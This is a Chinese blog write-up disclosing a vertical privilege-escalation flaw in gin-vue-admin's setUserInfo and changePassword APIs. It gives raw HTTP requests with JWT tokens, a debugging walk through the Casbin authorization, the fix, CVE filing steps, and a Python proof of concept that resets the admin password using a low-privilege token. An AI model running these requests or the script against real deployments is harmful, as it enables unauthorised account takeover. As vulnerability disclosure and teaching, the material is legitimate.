垂直越权漏洞与代码分析

于 2024-05-15 18:00:00 发布
阅读量953 收藏 11
点赞数 20
文章标签： web安全 安全 网络 网络安全 安全架构 计算机网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Z4400840/article/details/138893544
版权

一、前言

image.png

文章写完了之后，申请CVE有一些麻烦，不过好在还是申请到了

ps 申请CVE前，已经提交了CNVD

image.png

【一一帮助安全学习，所有资源获取处一一】

①网络安全学习路线

②20份渗透测试电子书

③安全攻防357页笔记

④50份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年CTF夺旗赛题解析

二、环境搭建

按照官方教程

bash

复制代码git clone https://github.com/flipped-aurora/gin-vue-admin.git

随后进入server目录

go

复制代码go generate

image.png

go

复制代码go build -o server main.go

随后直接运行server即可

image.png

随后是WEB，进入到web目录，输入

复制代码cnpm install || npm install

随后等待即可

image-20211230134632959

随后安装完成会自动打开WEB网页

image.png

image.png

随后初始化设置数据库信息

image.png

配置好之后点击初始化后登录即可

image.png

三、漏洞复现

SetUserInfo存在垂直越权

1、SetUserInfo接口越权设置用户个人信息

我们直接来到用户管理页面，新增一个低权限的用户角色

image.png

可以看到上方并没有给到管理员的权限，接下来新建一个账号，分给这个角色组

image.png

image.png

漏洞发生的位置在https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go的第273行

image.png

sql复制代码// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

这里没有对传入的ID进行校验，ID代表用户的，直接传入指定的ID就可以修改对应用户的个人信息

image.png

首先我们用管理员的X-token测试修改ID为1的用户的名称修改为test1，随后我们可以在后台中看到管理员的ID已经被修改为test1了

image.png

那么接下来，我们使用刚刚新建的UzJu_HxSecTeam账号的Token替换进去，将管理员用户名修改为test2

首先我们UzJu_HxSecTeam的账号个人信息>修改密码 这里随便修改密码，然后获取到账号Token

image.png

这个Token是低权限那个角色的，正常低权限的用户是不可以修改管理员的任何信息的

makefile

复制代码x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0v**DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

我们将Token替换进去，构造如下Json数据

json复制代码{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image.png

我们将Token替换到setUserinfo接口

makefile复制代码PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0v**DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
x-user-id: 1
Content-Length: 67
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""}

随后提示我们，设置成功

image.png

这是我们切换到管理员账号，查看是否被修改为test2

image.png

可以看到管理员用户成功被修改

2、SetUserInfo接口垂直越权无条件修改管理员密码

在Debug的时候发现，在越权设置个人信息的接口setUserInfo中不单单只能设置id, username, nickname,headimg，其实还可以传入password等参数

image.png

比如我们构造一个请求，将ID为1的用户名称设置为admin，昵称设置为超级用户管理员

image.png

makefile复制代码PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}

此时管理员的密码已经被修改为了qwe@123，尝试登陆

image.png

随后成功登录

image.png

ChangPassword越权修改用户密码

PS: 这里有一个前提，需知道我想修改的那个人用户的密码才可以

首先我们知道默认的admin密码为123456，这个时候我们只需要构造Json数据，将Json数据中的username参数，修改为我们想越权修改的那个用户名即可

首先我们登录低权限的账号，修改一次密码

image.png

我们会抓到一个changePassword的请求，随后将这个请求放入Repeater

image.png

随后我们只需要将username这个参数修改为admin即可

image.png

随后会提示我们修改成功，然后我们使用新的密码来登录admin

image.png

随后成功登录

image.png

漏洞出现的位置在github.com/flipped-aur…

sql复制代码// @Tags SysUser
// @Summary 用户修改密码
// @Security ApiKeyAuth
// @Produce  application/json
// @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}"
// @Router /user/changePassword [post]
func (b *BaseApi) ChangePassword(c *gin.Context) {
	var user systemReq.ChangePasswordStruct
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	u := &system.SysUser{Username: user.Username, Password: user.Password}
	if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil {
		global.GVA_LOG.Error("修改失败!", zap.Error(err))
		response.FailWithMessage("修改失败，原密码与当前账户不符", c)
	} else {
		response.OkWithMessage("修改成功", c)
	}
}

这里有一个争议，就是既然都知道了别人的账号密码，直接登录他的账号不就可以了吗，确实是这样的，但是我们这里的程序逻辑流程是，我们已经鉴权完毕了，正常来说我当前用户也只能修改当前用户的一个密码，可是这里可以通过修改ID来修改别人的，换个角度想也是暴力破解了可以，因为登录页面是有验证码校验的。

四、漏洞原理分析

ps: 以下所有内容出自一个完全没学过Go的，也没做过开发的，只会Python的脚本小子的理解

首先从正常的业务逻辑来看这里为什么会造成越权，其实原理比较简单，主要是因为，我们在新建角色权限的时候，有几个必选的参数，也就是这几个参数，选了之后，用户才有机会越权（但是也不能不选，因为这是默认的必选参数），其实最终还是在代码上存在逻辑问题。

image.png

首先我们看，在新建完角色之后，查看角色的权限

image.png

可以看到，默认新建的用户权限，在角色菜单中，只有一个可以访问仪表盘的权限，但是我们查看角色的API权限就会发现

image.png

这里有几个必选的权限

  • 用户注册
  • 设置用户信息
  • 获取自身信息
  • 修改密码
  • 修改用户角色

这也是这一次漏洞的来源，首先是设置用户信息，如果我们取消勾选

image-20211230162752207

然后我们将低权限角色组的账号Token放进Burp进行尝试

image.png

makefile复制代码PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}

可以很清楚的看到，目前我们已经没有权限来设置这些用户信息了，而且在Go的Debug页面我们也很容易发现，代码逻辑，比如我们现在是没有权限进行设置用户信息的，但是在代码中理论来说，我访问了这个接口，我Debug的断点应该是可以拦截的，但是如下图，我下断点之后，程序居然没有停止

image.png

从这里就能判断，在此操作之前，应该是有一个鉴权操作（常见的应该是rbac吧）那么我们现在给低权限角色组设置用户的权限，我们再进行重放看看

image-20211230163401844

image.png

我们可以看到，程序成功停止在了这里，那么我想(go小白)应该可以通过Debug的方式，来找到这里的鉴权：）

首先Mac下command键鼠标左键来找哪里调用了这个函数

image.png

然后可以看到这里有一个初始化用户路由的一个函数InitUserRouter

image.png

那么继续老办法，Command+鼠标左键来判断哪里调用了InitUserRoute

image.png

这里注意，有一个JWTAuth()还有一个middleware.CasbinHandler()

首先我们先来看middleware.JWTAuth()，还是老方法Command+鼠标左键

image.png

然后来到一个jwt.go，这里的逻辑我们可以看一下（当然也感谢作者写了一些注释)

image.png

go中token:=应该是相当于定义一个变量来接收请求中的header中的x-token，首先就是判断token是不是为空，如果为空的话直接返回用户未登录或非法访问

image.png

随后就是判断用户的token是否在黑名单里面，这里应该是通过缓存或者用户退出的时候来判断，这个token是不是已经失效了吧，如果失效了就会返回告诉用户异地登录或令牌失效了

image.png

这里首先传给ParseToken这个函数来解析Token，可以跟过去看一下

image.png

不懂jwt.ParseWithClaims是啥。。。传统艺能，google.com

image.png

这里是用来JWT加解密的，然后返回一个SigningKey，然后继续往下走

感谢作者的指点：此处将传入的jwt token串进行解析，获得jwt.Token结构体，然后从结构体解析出Claims获取之前我们生成token时挂载在上面的用户信息。

image.png

通过Google知道了ValidationErrorMalformed用来判断是否是错误的token，然后再通过ValidationErrorExpired来判断是否已过期，然后再通过ValidationErrorNotValidYet判断token是否激活，然后就是返回了。虽然下面还有一段代码

image.png

随后判断token是否过期，如果没有过期，则走到了reload，随后我们来到middleware.CasbinHandler()

image.png

首先进入到utils.GetClaims并且传入一个参数

image.png

这里函数用来获取x-token随后解析该token来判断是否过期等

image.png

随后判断用户的角色，这里的1234，也就是我们web设置的角色组ID image.png

image.png

随后进入casbinService.Casbin()，传统艺能，直接百度

image.png

跟之前猜想的差不多，rbac权限控制，这里是连接数据库，然后这里F7单步步入看了一下，劝退了，看不懂

image.png

看注释可以判断，这里用来判断权限

机翻： Enforce decides whether a “subject” can access a “object” with the operation “action”, input parameters are usually: (sub, obj, act).强制决定“subject”是否可以通过操作“action”访问“object”，输入参数通常是:(sub, obj, act)。

image.png

随后判断是否在开发环境，然后success等于false，这里|| 或者的意思，要么成功，要么提示权限不足

我们来看看有权限后，越权的setuserinfo接口是怎么走的，首先我们在拦截器这个地方下一个断点

image.png

Tips: 通过百度发现这里用的是golang的casbin访问控制框架

然后在setuserinfo这里也下一个断点

image.png

因为拦截器在程序逻辑中在setuserinfo前面，所以我们从拦截器开始调

burp发送请求之后，一直等待，此时我们单步调试看看

image.png

此时我们的角色组为1234

image.png

随后是连接数据库，再之后就是检查权限

image.png

image.png

这里返回了一个true，说明权限存在，随后就是判断是否为开发环境或者success等于true了，这里肯定会经过第一个if，

随后就来到了setuserinfo接口

image.png

shouldBindJson 绑定了Json参数

image.png

随后这里，应该是用来判断传入的Json参数是否正确

image.png

下面直接直接将userid代入了进去

image.png

这里的ID是我们前端传入的，可以任意修改，所以就导致了越权

image.png

image.png

随后代入到数据库之后，更新后返回

image.png

随后则是更新成功

主要的鉴权操作都在cashbin.rbac.go这个文件中的CasbinHandler函数，中的casbinService.Casbin()和e.Enforce(sub, obj, act)

我对这里的越权理解是，如果给了设置用户信息的权限，那么默认这个用户在权限规则中就可以修改用户信息，然后在修改的时候，替换成别人的ID即可修改为别人的

到这里可以明白了，首先鉴权判断的是AuthorityId，来判断用户是否有权限操作某个接口

image.png

但是在setuserinfo使用的ID却是用户的账号ID

image.png

所以就导致了越权，因为这个ID可以前端传入的时候可以控制，并且也已经鉴权之后了，在与作者沟通之后，解释说修复也比较简单，只需要将user.id强制赋值为JWT所对应的权限ID即可，这样就不会造成越权了，因为前端怎么传入，最终在代码中还是有一行会将user.id的值修改为当前JWT所对应的id

但是在业务流程逻辑中，这些权限又是必须给的，因为不给的话，当前用户是没有办法修改自己的信息的

image.png

五、POC编写

python复制代码#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project ：UzJuSecurityTools 
@File    ：Gin-Vue-Admin-Poc.py
@Author  ：UzJu
@Date    ：2021/12/31 11:20 
@Email   ：UzJuer@163.com
'''

import requests
import json
import sys

class GinVueAdminPoc:
    def __init__(self, url, token):
        self.url = url
        self.jwt_token = token
        '''
        define vuln interface
        '''
        # Method PUT Severity High
        self.setUserInfo = "/api/user/setUserInfo"
        # Method POST Severity Moderate
        self.changePassword = "/api/user/changePassword"

    def checkVuln(self):
        '''
        因为默认管理员的用户ID为1，所以，这里直接修改ID为1的用户账号为admin，密码为qwe@123
        在实际使用中，可以通过遍历ID，来判断哪个ID用户存在，不过默认用户在实战中应该都是存在的
        The default user ID of the administrator is 1\. Therefore, change the account of user 1 to admin and the password to qwe@123
        In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
        '''
        payload_data = {
                            "id": 1,
                            "username": "admin",
                            "nickName": "超级管理员",
                            "Password": "qwe@123"
                        }
        # Change the administrator password to qwe@123, because the default administrator ID is 1
        headers = {
            "x-token": self.jwt_token
        }
        result = requests.put(url=self.url + self.setUserInfo,
                              headers=headers,
                              data=json.dumps(payload_data)
                              )
        if json.loads(result.content)['code'] == 7:
            print("[-]Modify the failure")
        elif json.loads(result.content)['code'] == 0:
            print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")

    def check_interface_ChangePassword(self):
        '''
        wait
        '''
        pass

if __name__ == '__main__':
    try:
        Banner_2 = '''

         /$$   /$$              /$$$$$          
        | $$  | $$             |__  $$          
        | $$  | $$ /$$$$$$$$      | $$ /$$   /$$
        | $$  | $$|____ /$$/      | $$| $$  | $$
        | $$  | $$   /$$$$/  /$$  | $$| $$  | $$
        | $$  | $$  /$$__/  | $$  | $$| $$  | $$
        |  $$$$$$/ /$$$$$$$$|  $$$$$$/|  $$$$$$/
         \______/ |________/ \______/  \______/                   
             Autor: UzJu   Email: UzJuer@163.com  GitHub: github.com/uzju  
        '''
        print(Banner_2)
        url = sys.argv[1]
        jwt_token = sys.argv[2]
        main = GinVueAdminPoc(url, jwt_token)
        main.checkVuln()
    except:
        print("[-]please input url and token")

为什么check_interface_ChangePassword这个方法没写是因为，这里算是一个暴力破解的一个接口，因为在修改任意用户的密码之前，必须知道需要修改的那个账号的密码，这就像是暴力破解，所以这里并没有写，然后就是checkvuln这个方法，payload_data这个json数据中的id，其实可以任意更改的，也可以写成for循环进行遍历，因为在实际环境中并不确定管理员的ID是否为1，或者说存在恶意破坏的话，也可以造成一定的影响。

image.png

六、CVE申请

CNVD的就不用说了吧，肯定也已经提交了，这里申请CVE的。GitHub代申请编号来的特别快，基本上最多3天，这里是当天提交的次日凌晨就收到了CVE的预分配编号以下操作需要联系作者帮你操作，不然没有New Draft security advisory这个按钮

image.png

image.png

image.png

Description写上漏洞的内容，复现过程，POC就行，然后点击create draft security advisory

由于当时我们是第一次申请这个，犯了一个错误，只列出了一个草稿，并没有请求，导致我们白白等了7天

image.png

写完了一定要拉到下面，去点击request cve id

image.png

image.png

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限，仅展示部分资料，如果你对网络安全入门感兴趣，需要的话可以在下方

白帽黑客-老哥
关注
  • 20
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
30-4 越权漏洞 -垂直越权
weixin_43263566的博客
03-25 417
垂直越权（纵向越权）是指不同权限级别的用户之间发生的越权访问行为。
网络安全之垂直越权漏洞讲解.mp4
11-13
越权漏洞一般包括平行越权和垂直越权。对平行越权漏洞防护中，增加访问与操作对象的用户属性，在对目标对象进行访问与操作时，服务端校验会话与对象的用户属性，在校验通过后才能执行读取和操作。
垂直越权漏洞
JSH_CDX的博客
07-02 2790
漏洞介绍 概述：垂直越权漏洞常见于后台业务系统，当业务系统分为多种角色权限的时候，常会出现低权限用户页面上无高权限用户的功能，但是却可以通过调用接口来进行高权限用户的操作，从而导致垂直越权漏洞出现 测试方法 1.首先用两个浏览器登录高权限账号以及低权限账号，获取到两者的cookie或认证头。 2.通过操作高权限用户的功能（低权限页面上并没有该功能），获取到url地址清单 3.用低权限用户的cook...
水平越权访问与垂直越权访问漏洞
热门推荐
HTZW的博客
04-26 3万+
目录 前言 越权访问漏洞 水平越权访问漏洞 垂直越权访问漏洞 防范措施 前言 电网机巡智能管控平台是XX省电力巡检智能管控平台，辅助全省无人机巡线作业工作顺利、高效开展。由于今年互联网出现了严重的安全事故。XX省对全省的业务系统提高了安全意识，开展了为期4个月的“护网行动”，对全省所有的业务系统进行全面的安全检查，成立了护网行动小组。“非常荣幸的”我们研发的电网机巡智能管控平台...
水平，垂直越权漏洞
feiniaotjx的博客
09-23 156
越权漏洞 概述 如果使用A用户的权限去操作B用户的数据，A的权限小于B的权限，如果能够成功操作，则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。 一般越权漏洞容易出现在权限页面（需要登录的页面）增、删、改、查的的地方，当用户对权限页面内的信息进行这些操作时，后台需要对 对当前用户的权限进行校验，看其是否具备操作的权限，从而给出响应，而如果校验的规则过于简单则容易出现越权漏洞。 水平越权 两个相同的用户权限，一个用户可操作另一个用户的权限。 如一个用户为cheng/du123,
33 WEB漏洞-逻辑越权之水平垂直越权全解-附件资源
03-02
33 WEB漏洞-逻辑越权之水平垂直越权全解-附件资源
7、越权漏洞.pdf资料
10-15
这种漏洞允许未经授权的用户访问或操作他们本不应该能够触及的数据或功能，通常表现为水平越权和垂直越权。 水平越权漏洞主要发生在同一权限等级的用户之间。当系统没有正确地限制用户只能访问自己的数据时，一个...
Catfish（鲶鱼）cms-带有越权漏洞的源码.zip
03-16
Catfish（鲶鱼）cms-带有越权漏洞的源码，亲测真实有效可靠，如有侵权，请联系CSDN管理员删除即可
越权漏洞.docx
07-09
越权漏洞主要分为水平越权和垂直越权两种类型： 1. 水平越权：在同一权限级别的用户之间发生的越权行为。例如，一个普通用户通过修改URL中的参数，可以查看或操作其他普通用户的数据。在描述中提到的“查看用户信息...
逻辑漏洞之越权详解-漏洞银行大咖周6-浅安
01-26
资源来自：漏洞银行大咖面对面一周大咖秀6 作者：浅安
因酷网校在线教育系统源码-越权漏洞分析
最新发布
10-20
因酷网校在线教育系统源码-越权漏洞分析
基于机器学习的越权漏洞检测方法.pdf
09-24
基于机器学习的越权漏洞检测方法 本文提出了一种基于机器学习的越权逻辑漏洞检测方法，旨在解决Web和App应用中越权逻辑漏洞造成的信息泄露和财产损失问题。该方法通过结合Isolation Forest、XGBoost和余弦相似度...
水平越权漏洞检测的探索及实践.pdf
03-26
水平越权漏洞检测的探索及实践 业务类漏洞发现能力建设思路
Web应用安全：越权漏洞实验.docx
06-20
实验九：越权漏洞 一、实验目的 了解什么是越权漏洞 如何利用越权漏洞 二、实验内容 利用靶场环境进行越权漏洞演练，使得一个普通用户利用越权漏洞非法成为管理员用户。 实验环境 靶机 Win 10系统 Burpsuite 实验...
越权漏洞原理，垂直越权漏洞原理，PHP反序列化原理，xxe漏洞原理,ssrf漏洞原理，目录遍历和敏感信息泄露原理，不安全的url重定向原理
weixin_43858799的博客
06-04 478
越权漏洞原理，垂直越权漏洞原理，PHP反序列化原理，xxe漏洞原理,ssrf漏洞原理，目录遍历和敏感信息泄露原理，不安全的url重定向原理。 一、越权漏洞原理： 打开pikachu 水平越权漏洞 越权漏洞一般出现在有登录页面的网页 用提示账号登陆之后 我们可以看到 可以查看到自己的信息 通过URL可以知道 再点击查看个人信息的时候 是通过了一个GET请求 把当前登陆人的用户名传给了后台...
9-2垂直越权漏洞原理和测试流程案例
山兔的博客
06-17 2548
我们主要是讲一下垂直越权是什么漏洞，首先我们把这个思路理一下，我们先用超级管理员账号登录一下，登录之后，我们对超级管理员独一无二的权限，比如添加账号，就是可以新增账号，这个操作，进行一个执行，执行之后，我们对新增账号的数据包，抓下来，抓下来之后，我们就退出超级管理员登录，退出之后，我们退换到普通管理员的权限，然后，我们把刚刚抓取到的数据包，用普通管理员身份进行一次重放，这个逻辑就是说，用普通管理员权限，操作了只有超级管理员才能做的操作，如果说，这个操作能够成功，那就意味着，后台存在垂直越权漏洞 常见越权漏
垂直越权漏洞原理和测试流程案例
北冥有鱼
05-28 1万+
我们先把垂直越权漏洞的思路理一下 首先我们先用一个超级管理员的账号去登陆一下 然后我们对超级管理员的账号独一无二的权力去进行操作 然后我们把这个操作的数据包给抓下来 抓下来之后 我们就退出超级管理员的登陆，我们用普通账号，来进行一次这个超级操作 如果这个操作可以成功，就意味着这个操作存在着垂直越权的漏洞 我们来演示一遍 首先超级管理员身份登陆 进来以后我们可以看到，超级管理员可以添加删除用户...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值